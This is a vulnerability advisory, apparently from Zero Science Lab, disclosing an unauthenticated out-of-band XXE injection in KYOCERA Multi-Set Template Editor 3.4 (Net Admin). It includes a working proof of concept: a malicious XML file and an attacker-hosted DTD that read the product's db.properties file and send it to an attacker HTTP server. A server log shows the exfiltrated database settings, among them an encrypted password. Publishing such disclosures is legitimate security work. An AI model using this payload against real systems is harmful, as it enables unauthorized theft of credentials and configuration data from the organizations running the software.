KYOCERA Multi-Set Template Editor 3.4 Out-Of-Band XML External Entity Injection


Vendor: KYOCERA Corporation
Product https://global.kyocera.com
Affected version: 3.4.0906

Summary: KYOCERA Net Admin is Kyocera's unified
device management software that uses a web-based
platform to give network administrators easy and
uncomplicated control to handle a fleet for up to
10,000 devices. Tasks that used to require multiple
programs or walking to each printer can now be
accomplished in a single, fast and modern environment.

Desc: KYOCERA Multi-Set Template Editor (part of Net
Admin) suffers from an unauthenticated XML External Entity
(XXE) injection vulnerability using the DTD parameter
entities technique resulting in disclosure and retrieval
of arbitrary data from the affected node via out-of-band
(OOB) channel attack. The vulnerability is triggered when
input passed to the Multi-Set Template Editor (kmmted.exe)
called by the ActiveX DLL MultisetTemplateEditorActiveXComponent.dll
is not sanitized while parsing a 5.x Multi-Set template XML
file.

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Apache Tomcat/8.5.15


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5459
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5459.php


28.03.2018

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Malicious.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ZSL [
<!ENTITY % remote SYSTEM "http://192.168.1.71:7777/xxe.xml">
%remote;
%root;
%oob;]>


Attacker's xxe.xml:

<!ENTITY % fetch SYSTEM "file:///C:\Program Files\Kyocera\NetAdmin\Admin\conf\db.properties">
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://192.168.1.71:7777/?%fetch;'> ">


Data retrieval:

lqwrm@metalgear:~$ python -m SimpleHTTPServer 7777
Serving HTTP on 0.0.0.0 port 7777 ...
192.168.1.71 - - [01/Apr/2018 14:36:15] "GET /xxe.xml HTTP/1.1" 200 -
192.168.1.71 - - [01/Apr/2018 14:36:15] "GET /?db_host=localhost%0D%0Adb_port=5432%0D%0Adb_name=KNETADMINDB%0D%0Adb_driver=pgsql%0D%0Adb_user=postgres%0D%0Adb_password=ENC(4YMilUUDS80QB5rD+Rhn1z89rNXQXxcw)%0D%0Adb_driverClassName=org.postgresql.Driver%0D%0Adb_url=jdbc:postgresql://localhost/KNETADMINDB%0D%0Adb_initialSize=1%0D%0Adb_maxActive=20%0D%0Adb_dialect=org.hibernate.dialect.PostgreSQLDialect HTTP/1.1" 200 -